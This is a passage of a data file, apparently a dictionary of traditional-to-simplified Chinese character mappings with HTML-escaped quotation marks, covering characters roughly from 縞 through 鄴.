&#39;縞&#39;: &#39;缟&#39;, &#39;縟&#39;: &#39;缛&#39;, &#39;縣&#39;: &#39;县&#39;, &#39;縧&#39;: &#39;绦&#39;, &#39;縫&#39;: &#39;缝&#39;, &#39;縭&#39;: &#39;缡&#39;, &#39;縮&#39;: &#39;缩&#39;, &#39;縱&#39;: &#39;纵&#39;, &#39;縲&#39;: &#39;缧&#39;, &#39;縳&#39;: &#39;䌸&#39;, &#39;縴&#39;: &#39;纤&#39;, &#39;縵&#39;: &#39;缦&#39;, &#39;縶&#39;: &#39;絷&#39;, &#39;縷&#39;: &#39;缕&#39;, &#39;縹&#39;: &#39;缥&#39;, &#39;總&#39;: &#39;总&#39;, &#39;績&#39;: &#39;绩&#39;, &#39;繃&#39;: &#39;绷&#39;, &#39;繅&#39;: &#39;缫&#39;, &#39;繆&#39;: &#39;缪&#39;, &#39;繒&#39;: &#39;缯&#39;, &#39;織&#39;: &#39;织&#39;, &#39;繕&#39;: &#39;缮&#39;, &#39;繚&#39;: &#39;缭&#39;, &#39;繞&#39;: &#39;绕&#39;, &#39;繡&#39;: &#39;绣&#39;, &#39;繢&#39;: &#39;缋&#39;, &#39;繩&#39;: &#39;绳&#39;, &#39;繪&#39;: &#39;绘&#39;, &#39;繫&#39;: &#39;系&#39;, &#39;繭&#39;: &#39;茧&#39;, &#39;繮&#39;: &#39;缰&#39;, &#39;繯&#39;: &#39;缳&#39;, &#39;繰&#39;: &#39;缲&#39;, &#39;繳&#39;: &#39;缴&#39;, &#39;繸&#39;: &#39;䍁&#39;, &#39;繹&#39;: &#39;绎&#39;, &#39;繼&#39;: &#39;继&#39;, &#39;繽&#39;: &#39;缤&#39;, &#39;繾&#39;: &#39;缱&#39;, &#39;繿&#39;: &#39;䍀&#39;, &#39;纈&#39;: &#39;缬&#39;, &#39;纊&#39;: &#39;纩&#39;, &#39;續&#39;: &#39;续&#39;, &#39;纍&#39;: &#39;累&#39;, &#39;纏&#39;: &#39;缠&#39;, &#39;纓&#39;: &#39;缨&#39;, &#39;纔&#39;: &#39;才&#39;, &#39;纖&#39;: &#39;纤&#39;, &#39;纘&#39;: &#39;缵&#39;, &#39;纜&#39;: &#39;缆&#39;, &#39;缽&#39;: &#39;钵&#39;, &#39;罈&#39;: &#39;坛&#39;, &#39;罌&#39;: &#39;罂&#39;, &#39;罰&#39;: &#39;罚&#39;, &#39;罵&#39;: &#39;骂&#39;, &#39;罷&#39;: &#39;罢&#39;, &#39;羅&#39;: &#39;罗&#39;, &#39;羆&#39;: &#39;罴&#39;, &#39;羈&#39;: &#39;羁&#39;, &#39;羋&#39;: &#39;芈&#39;, &#39;羥&#39;: &#39;羟&#39;, &#39;義&#39;: &#39;义&#39;, &#39;習&#39;: &#39;习&#39;, &#39;翹&#39;: &#39;翘&#39;, &#39;耬&#39;: &#39;耧&#39;, &#39;耮&#39;: &#39;耢&#39;, &#39;聖&#39;: &#39;圣&#39;, &#39;聞&#39;: &#39;闻&#39;, &#39;聯&#39;: &#39;联&#39;, &#39;聰&#39;: &#39;聪&#39;, &#39;聲&#39;: &#39;声&#39;, &#39;聳&#39;: &#39;耸&#39;, &#39;聵&#39;: &#39;聩&#39;, &#39;聶&#39;: &#39;聂&#39;, &#39;職&#39;: &#39;职&#39;, &#39;聹&#39;: &#39;聍&#39;, &#39;聽&#39;: &#39;听&#39;, &#39;聾&#39;: &#39;聋&#39;, &#39;肅&#39;: &#39;肃&#39;, &#39;胜&#39;: &#39;胜&#39;, &#39;脅&#39;: &#39;胁&#39;, &#39;脈&#39;: &#39;脉&#39;, &#39;脛&#39;: &#39;胫&#39;, &#39;脫&#39;: &#39;脱&#39;, &#39;脹&#39;: &#39;胀&#39;, &#39;腊&#39;: &#39;腊&#39;, &#39;腎&#39;: &#39;肾&#39;, &#39;腖&#39;: &#39;胨&#39;, &#39;腡&#39;: &#39;脶&#39;, &#39;腦&#39;: &#39;脑&#39;, &#39;腫&#39;: &#39;肿&#39;, &#39;腳&#39;: &#39;脚&#39;, &#39;腸&#39;: &#39;肠&#39;, &#39;膃&#39;: &#39;腽&#39;, &#39;膚&#39;: &#39;肤&#39;, &#39;膠&#39;: &#39;胶&#39;, &#39;膩&#39;: &#39;腻&#39;, &#39;膽&#39;: &#39;胆&#39;, &#39;膾&#39;: &#39;脍&#39;, &#39;膿&#39;: &#39;脓&#39;, &#39;臉&#39;: &#39;脸&#39;, &#39;臍&#39;: &#39;脐&#39;, &#39;臏&#39;: &#39;膑&#39;, &#39;臘&#39;: &#39;腊&#39;, &#39;臚&#39;: &#39;胪&#39;, &#39;臟&#39;: &#39;脏&#39;, &#39;臠&#39;: &#39;脔&#39;, &#39;臢&#39;: &#39;臜&#39;, &#39;臥&#39;: &#39;卧&#39;, &#39;臨&#39;: &#39;临&#39;, &#39;臺&#39;: &#39;台&#39;, &#39;與&#39;: &#39;与&#39;, &#39;興&#39;: &#39;兴&#39;, &#39;舉&#39;: &#39;举&#39;, &#39;舊&#39;: &#39;旧&#39;, &#39;艙&#39;: &#39;舱&#39;, &#39;艤&#39;: &#39;舣&#39;, &#39;艦&#39;: &#39;舰&#39;, &#39;艫&#39;: &#39;舻&#39;, &#39;艱&#39;: &#39;艰&#39;, &#39;艷&#39;: &#39;艳&#39;, &#39;芻&#39;: &#39;刍&#39;, &#39;苧&#39;: &#39;苎&#39;, &#39;苹&#39;: &#39;苹&#39;, &#39;范&#39;: &#39;范&#39;, &#39;茲&#39;: &#39;兹&#39;, &#39;荊&#39;: &#39;荆&#39;, &#39;莊&#39;: &#39;庄&#39;, &#39;莖&#39;: &#39;茎&#39;, &#39;莢&#39;: &#39;荚&#39;, &#39;莧&#39;: &#39;苋&#39;, &#39;華&#39;: &#39;华&#39;, &#39;萇&#39;: &#39;苌&#39;, &#39;萊&#39;: &#39;莱&#39;, &#39;萬&#39;: &#39;万&#39;, &#39;萵&#39;: &#39;莴&#39;, &#39;葉&#39;: &#39;叶&#39;, &#39;葒&#39;: &#39;荭&#39;, &#39;著&#39;: &#39;着&#39;, &#39;著名&#39;: &#39;著名&#39;, &#39;葤&#39;: &#39;荮&#39;, &#39;葦&#39;: &#39;苇&#39;, &#39;葯&#39;: &#39;药&#39;, &#39;葷&#39;: &#39;荤&#39;, &#39;蒓&#39;: &#39;莼&#39;, &#39;蒔&#39;: &#39;莳&#39;, &#39;蒞&#39;: &#39;莅&#39;, &#39;蒼&#39;: &#39;苍&#39;, &#39;蓀&#39;: &#39;荪&#39;, &#39;蓋&#39;: &#39;盖&#39;, &#39;蓮&#39;: &#39;莲&#39;, &#39;蓯&#39;: &#39;苁&#39;, &#39;蓴&#39;: &#39;莼&#39;, &#39;蓽&#39;: &#39;荜&#39;, &#39;蔔&#39;: &#39;卜&#39;, &#39;蔞&#39;: &#39;蒌&#39;, &#39;蔣&#39;: &#39;蒋&#39;, &#39;蔥&#39;: &#39;葱&#39;, &#39;蔦&#39;: &#39;茑&#39;, &#39;蔭&#39;: &#39;荫&#39;, &#39;蕁&#39;: &#39;荨&#39;, &#39;蕆&#39;: &#39;蒇&#39;, &#39;蕎&#39;: &#39;荞&#39;, &#39;蕒&#39;: &#39;荬&#39;, &#39;蕓&#39;: &#39;芸&#39;, &#39;蕕&#39;: &#39;莸&#39;, &#39;蕘&#39;: &#39;荛&#39;, &#39;蕢&#39;: &#39;蒉&#39;, &#39;蕩&#39;: &#39;荡&#39;, &#39;蕪&#39;: &#39;芜&#39;, &#39;蕭&#39;: &#39;萧&#39;, &#39;蕷&#39;: &#39;蓣&#39;, &#39;薀&#39;: &#39;蕰&#39;, &#39;薈&#39;: &#39;荟&#39;, &#39;薊&#39;: &#39;蓟&#39;, &#39;薌&#39;: &#39;芗&#39;, &#39;薔&#39;: &#39;蔷&#39;, &#39;薘&#39;: &#39;荙&#39;, &#39;薟&#39;: &#39;莶&#39;, &#39;薦&#39;: &#39;荐&#39;, &#39;薩&#39;: &#39;萨&#39;, &#39;薳&#39;: &#39;䓕&#39;, &#39;薴&#39;: &#39;苧&#39;, &#39;薺&#39;: &#39;荠&#39;, &#39;藉&#39;: &#39;借&#39;, &#39;藍&#39;: &#39;蓝&#39;, &#39;藎&#39;: &#39;荩&#39;, &#39;藝&#39;: &#39;艺&#39;, &#39;藥&#39;: &#39;药&#39;, &#39;藪&#39;: &#39;薮&#39;, &#39;藴&#39;: &#39;蕴&#39;, &#39;藶&#39;: &#39;苈&#39;, &#39;藹&#39;: &#39;蔼&#39;, &#39;藺&#39;: &#39;蔺&#39;, &#39;蘄&#39;: &#39;蕲&#39;, &#39;蘆&#39;: &#39;芦&#39;, &#39;蘇&#39;: &#39;苏&#39;, &#39;蘊&#39;: &#39;蕴&#39;, &#39;蘋&#39;: &#39;苹&#39;, &#39;蘚&#39;: &#39;藓&#39;, &#39;蘞&#39;: &#39;蔹&#39;, &#39;蘢&#39;: &#39;茏&#39;, &#39;蘭&#39;: &#39;兰&#39;, &#39;蘺&#39;: &#39;蓠&#39;, &#39;蘿&#39;: &#39;萝&#39;, &#39;虆&#39;: &#39;蔂&#39;, &#39;處&#39;: &#39;处&#39;, &#39;虛&#39;: &#39;虚&#39;, &#39;虜&#39;: &#39;虏&#39;, &#39;號&#39;: &#39;号&#39;, &#39;虧&#39;: &#39;亏&#39;, &#39;虫&#39;: &#39;虫&#39;, &#39;虯&#39;: &#39;虬&#39;, &#39;蛺&#39;: &#39;蛱&#39;, &#39;蛻&#39;: &#39;蜕&#39;, &#39;蜆&#39;: &#39;蚬&#39;, &#39;蜡&#39;: &#39;蜡&#39;, &#39;蝕&#39;: &#39;蚀&#39;, &#39;蝟&#39;: &#39;猬&#39;, &#39;蝦&#39;: &#39;虾&#39;, &#39;蝸&#39;: &#39;蜗&#39;, &#39;螄&#39;: &#39;蛳&#39;, &#39;螞&#39;: &#39;蚂&#39;, &#39;螢&#39;: &#39;萤&#39;, &#39;螮&#39;: &#39;䗖&#39;, &#39;螻&#39;: &#39;蝼&#39;, &#39;螿&#39;: &#39;螀&#39;, &#39;蟄&#39;: &#39;蛰&#39;, &#39;蟈&#39;: &#39;蝈&#39;, &#39;蟎&#39;: &#39;螨&#39;, &#39;蟣&#39;: &#39;虮&#39;, &#39;蟬&#39;: &#39;蝉&#39;, &#39;蟯&#39;: &#39;蛲&#39;, &#39;蟲&#39;: &#39;虫&#39;, &#39;蟶&#39;: &#39;蛏&#39;, &#39;蟻&#39;: &#39;蚁&#39;, &#39;蠅&#39;: &#39;蝇&#39;, &#39;蠆&#39;: &#39;虿&#39;, &#39;蠐&#39;: &#39;蛴&#39;, &#39;蠑&#39;: &#39;蝾&#39;, &#39;蠟&#39;: &#39;蜡&#39;, &#39;蠣&#39;: &#39;蛎&#39;, &#39;蠨&#39;: &#39;蟏&#39;, &#39;蠱&#39;: &#39;蛊&#39;, &#39;蠶&#39;: &#39;蚕&#39;, &#39;蠻&#39;: &#39;蛮&#39;, &#39;衆&#39;: &#39;众&#39;, &#39;衊&#39;: &#39;蔑&#39;, &#39;術&#39;: &#39;术&#39;, &#39;衕&#39;: &#39;同&#39;, &#39;衚&#39;: &#39;胡&#39;, &#39;衛&#39;: &#39;卫&#39;, &#39;衝&#39;: &#39;冲&#39;, &#39;衹&#39;: &#39;只&#39;, &#39;袞&#39;: &#39;衮&#39;, &#39;裊&#39;: &#39;袅&#39;, &#39;裏&#39;: &#39;里&#39;, &#39;補&#39;: &#39;补&#39;, &#39;裝&#39;: &#39;装&#39;, &#39;裡&#39;: &#39;里&#39;, &#39;製&#39;: &#39;制&#39;, &#39;複&#39;: &#39;复&#39;, &#39;褌&#39;: &#39;裈&#39;, &#39;褘&#39;: &#39;袆&#39;, &#39;褲&#39;: &#39;裤&#39;, &#39;褳&#39;: &#39;裢&#39;, &#39;褸&#39;: &#39;褛&#39;, &#39;褻&#39;: &#39;亵&#39;, &#39;襇&#39;: &#39;裥&#39;, &#39;襏&#39;: &#39;袯&#39;, &#39;襖&#39;: &#39;袄&#39;, &#39;襝&#39;: &#39;裣&#39;, &#39;襠&#39;: &#39;裆&#39;, &#39;襤&#39;: &#39;褴&#39;, &#39;襪&#39;: &#39;袜&#39;, &#39;襬&#39;: &#39;䙓&#39;, &#39;襯&#39;: &#39;衬&#39;, &#39;襲&#39;: &#39;袭&#39;, &#39;覆&#39;: &#39;复&#39;, &#39;覆蓋&#39;: &#39;覆盖&#39;, &#39;翻來覆去&#39;: &#39;翻来覆去&#39;, &#39;見&#39;: &#39;见&#39;, &#39;覎&#39;: &#39;觃&#39;, &#39;規&#39;: &#39;规&#39;, &#39;覓&#39;: &#39;觅&#39;, &#39;視&#39;: &#39;视&#39;, &#39;覘&#39;: &#39;觇&#39;, &#39;覡&#39;: &#39;觋&#39;, &#39;覥&#39;: &#39;觍&#39;, &#39;覦&#39;: &#39;觎&#39;, &#39;親&#39;: &#39;亲&#39;, &#39;覬&#39;: &#39;觊&#39;, &#39;覯&#39;: &#39;觏&#39;, &#39;覲&#39;: &#39;觐&#39;, &#39;覷&#39;: &#39;觑&#39;, &#39;覺&#39;: &#39;觉&#39;, &#39;覽&#39;: &#39;览&#39;, &#39;覿&#39;: &#39;觌&#39;, &#39;觀&#39;: &#39;观&#39;, &#39;觴&#39;: &#39;觞&#39;, &#39;觶&#39;: &#39;觯&#39;, &#39;觸&#39;: &#39;触&#39;, &#39;訁&#39;: &#39;讠&#39;, &#39;訂&#39;: &#39;订&#39;, &#39;訃&#39;: &#39;讣&#39;, &#39;計&#39;: &#39;计&#39;, &#39;訊&#39;: &#39;讯&#39;, &#39;訌&#39;: &#39;讧&#39;, &#39;討&#39;: &#39;讨&#39;, &#39;訐&#39;: &#39;讦&#39;, &#39;訒&#39;: &#39;讱&#39;, &#39;訓&#39;: &#39;训&#39;, &#39;訕&#39;: &#39;讪&#39;, &#39;訖&#39;: &#39;讫&#39;, &#39;託&#39;: &#39;讬&#39;, &#39;記&#39;: &#39;记&#39;, &#39;訛&#39;: &#39;讹&#39;, &#39;訝&#39;: &#39;讶&#39;, &#39;訟&#39;: &#39;讼&#39;, &#39;訢&#39;: &#39;䜣&#39;, &#39;訣&#39;: &#39;诀&#39;, &#39;訥&#39;: &#39;讷&#39;, &#39;訩&#39;: &#39;讻&#39;, &#39;訪&#39;: &#39;访&#39;, &#39;設&#39;: &#39;设&#39;, &#39;許&#39;: &#39;许&#39;, &#39;訴&#39;: &#39;诉&#39;, &#39;訶&#39;: &#39;诃&#39;, &#39;診&#39;: &#39;诊&#39;, &#39;註&#39;: &#39;注&#39;, &#39;詁&#39;: &#39;诂&#39;, &#39;詆&#39;: &#39;诋&#39;, &#39;詎&#39;: &#39;讵&#39;, &#39;詐&#39;: &#39;诈&#39;, &#39;詒&#39;: &#39;诒&#39;, &#39;詔&#39;: &#39;诏&#39;, &#39;評&#39;: &#39;评&#39;, &#39;詖&#39;: &#39;诐&#39;, &#39;詗&#39;: &#39;诇&#39;, &#39;詘&#39;: &#39;诎&#39;, &#39;詛&#39;: &#39;诅&#39;, &#39;詞&#39;: &#39;词&#39;, &#39;詠&#39;: &#39;咏&#39;, &#39;詡&#39;: &#39;诩&#39;, &#39;詢&#39;: &#39;询&#39;, &#39;詣&#39;: &#39;诣&#39;, &#39;試&#39;: &#39;试&#39;, &#39;詩&#39;: &#39;诗&#39;, &#39;詫&#39;: &#39;诧&#39;, &#39;詬&#39;: &#39;诟&#39;, &#39;詭&#39;: &#39;诡&#39;, &#39;詮&#39;: &#39;诠&#39;, &#39;詰&#39;: &#39;诘&#39;, &#39;話&#39;: &#39;话&#39;, &#39;該&#39;: &#39;该&#39;, &#39;詳&#39;: &#39;详&#39;, &#39;詵&#39;: &#39;诜&#39;, &#39;詼&#39;: &#39;诙&#39;, &#39;詿&#39;: &#39;诖&#39;, &#39;誄&#39;: &#39;诔&#39;, &#39;誅&#39;: &#39;诛&#39;, &#39;誆&#39;: &#39;诓&#39;, &#39;誇&#39;: &#39;夸&#39;, &#39;誌&#39;: &#39;志&#39;, &#39;認&#39;: &#39;认&#39;, &#39;誑&#39;: &#39;诳&#39;, &#39;誒&#39;: &#39;诶&#39;, &#39;誕&#39;: &#39;诞&#39;, &#39;誘&#39;: &#39;诱&#39;, &#39;誚&#39;: &#39;诮&#39;, &#39;語&#39;: &#39;语&#39;, &#39;誠&#39;: &#39;诚&#39;, &#39;誡&#39;: &#39;诫&#39;, &#39;誣&#39;: &#39;诬&#39;, &#39;誤&#39;: &#39;误&#39;, &#39;誥&#39;: &#39;诰&#39;, &#39;誦&#39;: &#39;诵&#39;, &#39;誨&#39;: &#39;诲&#39;, &#39;說&#39;: &#39;说&#39;, &#39;説&#39;: &#39;说&#39;, &#39;誰&#39;: &#39;谁&#39;, &#39;課&#39;: &#39;课&#39;, &#39;誶&#39;: &#39;谇&#39;, &#39;誹&#39;: &#39;诽&#39;, &#39;誼&#39;: &#39;谊&#39;, &#39;誾&#39;: &#39;訚&#39;, &#39;調&#39;: &#39;调&#39;, &#39;諂&#39;: &#39;谄&#39;, &#39;諄&#39;: &#39;谆&#39;, &#39;談&#39;: &#39;谈&#39;, &#39;諉&#39;: &#39;诿&#39;, &#39;請&#39;: &#39;请&#39;, &#39;諍&#39;: &#39;诤&#39;, &#39;諏&#39;: &#39;诹&#39;, &#39;諑&#39;: &#39;诼&#39;, &#39;諒&#39;: &#39;谅&#39;, &#39;論&#39;: &#39;论&#39;, &#39;諗&#39;: &#39;谂&#39;, &#39;諛&#39;: &#39;谀&#39;, &#39;諜&#39;: &#39;谍&#39;, &#39;諝&#39;: &#39;谞&#39;, &#39;諞&#39;: &#39;谝&#39;, &#39;諢&#39;: &#39;诨&#39;, &#39;諤&#39;: &#39;谔&#39;, &#39;諦&#39;: &#39;谛&#39;, &#39;諧&#39;: &#39;谐&#39;, &#39;諫&#39;: &#39;谏&#39;, &#39;諭&#39;: &#39;谕&#39;, &#39;諮&#39;: &#39;谘&#39;, &#39;諱&#39;: &#39;讳&#39;, &#39;諳&#39;: &#39;谙&#39;, &#39;諶&#39;: &#39;谌&#39;, &#39;諷&#39;: &#39;讽&#39;, &#39;諸&#39;: &#39;诸&#39;, &#39;諺&#39;: &#39;谚&#39;, &#39;諼&#39;: &#39;谖&#39;, &#39;諾&#39;: &#39;诺&#39;, &#39;謀&#39;: &#39;谋&#39;, &#39;謁&#39;: &#39;谒&#39;, &#39;謂&#39;: &#39;谓&#39;, &#39;謄&#39;: &#39;誊&#39;, &#39;謅&#39;: &#39;诌&#39;, &#39;謊&#39;: &#39;谎&#39;, &#39;謎&#39;: &#39;谜&#39;, &#39;謐&#39;: &#39;谧&#39;, &#39;謔&#39;: &#39;谑&#39;, &#39;謖&#39;: &#39;谡&#39;, &#39;謗&#39;: &#39;谤&#39;, &#39;謙&#39;: &#39;谦&#39;, &#39;謚&#39;: &#39;谥&#39;, &#39;講&#39;: &#39;讲&#39;, &#39;謝&#39;: &#39;谢&#39;, &#39;謠&#39;: &#39;谣&#39;, &#39;謡&#39;: &#39;谣&#39;, &#39;謨&#39;: &#39;谟&#39;, &#39;謫&#39;: &#39;谪&#39;, &#39;謬&#39;: &#39;谬&#39;, &#39;謭&#39;: &#39;谫&#39;, &#39;謳&#39;: &#39;讴&#39;, &#39;謹&#39;: &#39;谨&#39;, &#39;謾&#39;: &#39;谩&#39;, &#39;譅&#39;: &#39;䜧&#39;, &#39;證&#39;: &#39;证&#39;, &#39;譎&#39;: &#39;谲&#39;, &#39;譏&#39;: &#39;讥&#39;, &#39;譖&#39;: &#39;谮&#39;, &#39;識&#39;: &#39;识&#39;, &#39;譙&#39;: &#39;谯&#39;, &#39;譚&#39;: &#39;谭&#39;, &#39;譜&#39;: &#39;谱&#39;, &#39;譫&#39;: &#39;谵&#39;, &#39;譯&#39;: &#39;译&#39;, &#39;議&#39;: &#39;议&#39;, &#39;譴&#39;: &#39;谴&#39;, &#39;護&#39;: &#39;护&#39;, &#39;譸&#39;: &#39;诪&#39;, &#39;譽&#39;: &#39;誉&#39;, &#39;譾&#39;: &#39;谫&#39;, &#39;讀&#39;: &#39;读&#39;, &#39;變&#39;: &#39;变&#39;, &#39;讎&#39;: &#39;雠&#39;, &#39;讒&#39;: &#39;谗&#39;, &#39;讓&#39;: &#39;让&#39;, &#39;讕&#39;: &#39;谰&#39;, &#39;讖&#39;: &#39;谶&#39;, &#39;讜&#39;: &#39;谠&#39;, &#39;讞&#39;: &#39;谳&#39;, &#39;豈&#39;: &#39;岂&#39;, &#39;豎&#39;: &#39;竖&#39;, &#39;豐&#39;: &#39;丰&#39;, &#39;豬&#39;: &#39;猪&#39;, &#39;豶&#39;: &#39;豮&#39;, &#39;貓&#39;: &#39;猫&#39;, &#39;貙&#39;: &#39;䝙&#39;, &#39;貝&#39;: &#39;贝&#39;, &#39;貞&#39;: &#39;贞&#39;, &#39;貟&#39;: &#39;贠&#39;, &#39;負&#39;: &#39;负&#39;, &#39;財&#39;: &#39;财&#39;, &#39;貢&#39;: &#39;贡&#39;, &#39;貧&#39;: &#39;贫&#39;, &#39;貨&#39;: &#39;货&#39;, &#39;販&#39;: &#39;贩&#39;, &#39;貪&#39;: &#39;贪&#39;, &#39;貫&#39;: &#39;贯&#39;, &#39;責&#39;: &#39;责&#39;, &#39;貯&#39;: &#39;贮&#39;, &#39;貰&#39;: &#39;贳&#39;, &#39;貲&#39;: &#39;赀&#39;, &#39;貳&#39;: &#39;贰&#39;, &#39;貴&#39;: &#39;贵&#39;, &#39;貶&#39;: &#39;贬&#39;, &#39;買&#39;: &#39;买&#39;, &#39;貸&#39;: &#39;贷&#39;, &#39;貺&#39;: &#39;贶&#39;, &#39;費&#39;: &#39;费&#39;, &#39;貼&#39;: &#39;贴&#39;, &#39;貽&#39;: &#39;贻&#39;, &#39;貿&#39;: &#39;贸&#39;, &#39;賀&#39;: &#39;贺&#39;, &#39;賁&#39;: &#39;贲&#39;, &#39;賂&#39;: &#39;赂&#39;, &#39;賃&#39;: &#39;赁&#39;, &#39;賄&#39;: &#39;贿&#39;, &#39;賅&#39;: &#39;赅&#39;, &#39;資&#39;: &#39;资&#39;, &#39;賈&#39;: &#39;贾&#39;, &#39;賊&#39;: &#39;贼&#39;, &#39;賑&#39;: &#39;赈&#39;, &#39;賒&#39;: &#39;赊&#39;, &#39;賓&#39;: &#39;宾&#39;, &#39;賕&#39;: &#39;赇&#39;, &#39;賙&#39;: &#39;赒&#39;, &#39;賚&#39;: &#39;赉&#39;, &#39;賜&#39;: &#39;赐&#39;, &#39;賞&#39;: &#39;赏&#39;, &#39;賠&#39;: &#39;赔&#39;, &#39;賡&#39;: &#39;赓&#39;, &#39;賢&#39;: &#39;贤&#39;, &#39;賣&#39;: &#39;卖&#39;, &#39;賤&#39;: &#39;贱&#39;, &#39;賦&#39;: &#39;赋&#39;, &#39;賧&#39;: &#39;赕&#39;, &#39;質&#39;: &#39;质&#39;, &#39;賫&#39;: &#39;赍&#39;, &#39;賬&#39;: &#39;账&#39;, &#39;賭&#39;: &#39;赌&#39;, &#39;賰&#39;: &#39;䞐&#39;, &#39;賴&#39;: &#39;赖&#39;, &#39;賵&#39;: &#39;赗&#39;, &#39;賺&#39;: &#39;赚&#39;, &#39;賻&#39;: &#39;赙&#39;, &#39;購&#39;: &#39;购&#39;, &#39;賽&#39;: &#39;赛&#39;, &#39;賾&#39;: &#39;赜&#39;, &#39;贄&#39;: &#39;贽&#39;, &#39;贅&#39;: &#39;赘&#39;, &#39;贇&#39;: &#39;赟&#39;, &#39;贈&#39;: &#39;赠&#39;, &#39;贊&#39;: &#39;赞&#39;, &#39;贋&#39;: &#39;赝&#39;, &#39;贍&#39;: &#39;赡&#39;, &#39;贏&#39;: &#39;赢&#39;, &#39;贐&#39;: &#39;赆&#39;, &#39;贓&#39;: &#39;赃&#39;, &#39;贔&#39;: &#39;赑&#39;, &#39;贖&#39;: &#39;赎&#39;, &#39;贗&#39;: &#39;赝&#39;, &#39;贛&#39;: &#39;赣&#39;, &#39;贜&#39;: &#39;赃&#39;, &#39;赬&#39;: &#39;赪&#39;, &#39;趕&#39;: &#39;赶&#39;, &#39;趙&#39;: &#39;赵&#39;, &#39;趨&#39;: &#39;趋&#39;, &#39;趲&#39;: &#39;趱&#39;, &#39;跡&#39;: &#39;迹&#39;, &#39;踐&#39;: &#39;践&#39;, &#39;踴&#39;: &#39;踊&#39;, &#39;蹌&#39;: &#39;跄&#39;, &#39;蹕&#39;: &#39;跸&#39;, &#39;蹣&#39;: &#39;蹒&#39;, &#39;蹤&#39;: &#39;踪&#39;, &#39;蹺&#39;: &#39;跷&#39;, &#39;躂&#39;: &#39;跶&#39;, &#39;躉&#39;: &#39;趸&#39;, &#39;躊&#39;: &#39;踌&#39;, &#39;躋&#39;: &#39;跻&#39;, &#39;躍&#39;: &#39;跃&#39;, &#39;躑&#39;: &#39;踯&#39;, &#39;躒&#39;: &#39;跞&#39;, &#39;躓&#39;: &#39;踬&#39;, &#39;躕&#39;: &#39;蹰&#39;, &#39;躚&#39;: &#39;跹&#39;, &#39;躡&#39;: &#39;蹑&#39;, &#39;躥&#39;: &#39;蹿&#39;, &#39;躦&#39;: &#39;躜&#39;, &#39;躪&#39;: &#39;躏&#39;, &#39;軀&#39;: &#39;躯&#39;, &#39;車&#39;: &#39;车&#39;, &#39;軋&#39;: &#39;轧&#39;, &#39;軌&#39;: &#39;轨&#39;, &#39;軍&#39;: &#39;军&#39;, &#39;軑&#39;: &#39;轪&#39;, &#39;軒&#39;: &#39;轩&#39;, &#39;軔&#39;: &#39;轫&#39;, &#39;軛&#39;: &#39;轭&#39;, &#39;軟&#39;: &#39;软&#39;, &#39;軤&#39;: &#39;轷&#39;, &#39;軫&#39;: &#39;轸&#39;, &#39;軲&#39;: &#39;轱&#39;, &#39;軸&#39;: &#39;轴&#39;, &#39;軹&#39;: &#39;轵&#39;, &#39;軺&#39;: &#39;轺&#39;, &#39;軻&#39;: &#39;轲&#39;, &#39;軼&#39;: &#39;轶&#39;, &#39;軾&#39;: &#39;轼&#39;, &#39;較&#39;: &#39;较&#39;, &#39;輅&#39;: &#39;辂&#39;, &#39;輇&#39;: &#39;辁&#39;, &#39;輈&#39;: &#39;辀&#39;, &#39;載&#39;: &#39;载&#39;, &#39;輊&#39;: &#39;轾&#39;, &#39;輒&#39;: &#39;辄&#39;, &#39;輓&#39;: &#39;挽&#39;, &#39;輔&#39;: &#39;辅&#39;, &#39;輕&#39;: &#39;轻&#39;, &#39;輛&#39;: &#39;辆&#39;, &#39;輜&#39;: &#39;辎&#39;, &#39;輝&#39;: &#39;辉&#39;, &#39;輞&#39;: &#39;辋&#39;, &#39;輟&#39;: &#39;辍&#39;, &#39;輥&#39;: &#39;辊&#39;, &#39;輦&#39;: &#39;辇&#39;, &#39;輩&#39;: &#39;辈&#39;, &#39;輪&#39;: &#39;轮&#39;, &#39;輬&#39;: &#39;辌&#39;, &#39;輯&#39;: &#39;辑&#39;, &#39;輳&#39;: &#39;辏&#39;, &#39;輸&#39;: &#39;输&#39;, &#39;輻&#39;: &#39;辐&#39;, &#39;輾&#39;: &#39;辗&#39;, &#39;輿&#39;: &#39;舆&#39;, &#39;轀&#39;: &#39;辒&#39;, &#39;轂&#39;: &#39;毂&#39;, &#39;轄&#39;: &#39;辖&#39;, &#39;轅&#39;: &#39;辕&#39;, &#39;轆&#39;: &#39;辘&#39;, &#39;轉&#39;: &#39;转&#39;, &#39;轍&#39;: &#39;辙&#39;, &#39;轎&#39;: &#39;轿&#39;, &#39;轔&#39;: &#39;辚&#39;, &#39;轟&#39;: &#39;轰&#39;, &#39;轡&#39;: &#39;辔&#39;, &#39;轢&#39;: &#39;轹&#39;, &#39;轤&#39;: &#39;轳&#39;, &#39;辟&#39;: &#39;辟&#39;, &#39;辦&#39;: &#39;办&#39;, &#39;辭&#39;: &#39;辞&#39;, &#39;辮&#39;: &#39;辫&#39;, &#39;辯&#39;: &#39;辩&#39;, &#39;農&#39;: &#39;农&#39;, &#39;迴&#39;: &#39;回&#39;, &#39;适&#39;: &#39;适&#39;, &#39;逕&#39;: &#39;迳&#39;, &#39;這&#39;: &#39;这&#39;, &#39;連&#39;: &#39;连&#39;, &#39;週&#39;: &#39;周&#39;, &#39;進&#39;: &#39;进&#39;, &#39;遊&#39;: &#39;游&#39;, &#39;運&#39;: &#39;运&#39;, &#39;過&#39;: &#39;过&#39;, &#39;達&#39;: &#39;达&#39;, &#39;違&#39;: &#39;违&#39;, &#39;遙&#39;: &#39;遥&#39;, &#39;遜&#39;: &#39;逊&#39;, &#39;遞&#39;: &#39;递&#39;, &#39;遠&#39;: &#39;远&#39;, &#39;適&#39;: &#39;适&#39;, &#39;遲&#39;: &#39;迟&#39;, &#39;遷&#39;: &#39;迁&#39;, &#39;選&#39;: &#39;选&#39;, &#39;遺&#39;: &#39;遗&#39;, &#39;遼&#39;: &#39;辽&#39;, &#39;邁&#39;: &#39;迈&#39;, &#39;還&#39;: &#39;还&#39;, &#39;邇&#39;: &#39;迩&#39;, &#39;邊&#39;: &#39;边&#39;, &#39;邏&#39;: &#39;逻&#39;, &#39;邐&#39;: &#39;逦&#39;, &#39;郁&#39;: &#39;郁&#39;, &#39;郟&#39;: &#39;郏&#39;, &#39;郵&#39;: &#39;邮&#39;, &#39;鄆&#39;: &#39;郓&#39;, &#39;鄉&#39;: &#39;乡&#39;, &#39;鄒&#39;: &#39;邹&#39;, &#39;鄔&#39;: &#39;邬&#39;, &#39;鄖&#39;: &#39;郧&#39;, &#39;鄧&#39;: &#39;邓&#39;, &#39;鄭&#39;: &#39;郑&#39;, &#39;鄰&#39;: &#39;邻&#39;, &#39;鄲&#39;: &#39;郸&#39;, &#39;鄴&#39;: &#39;邺&#39;, 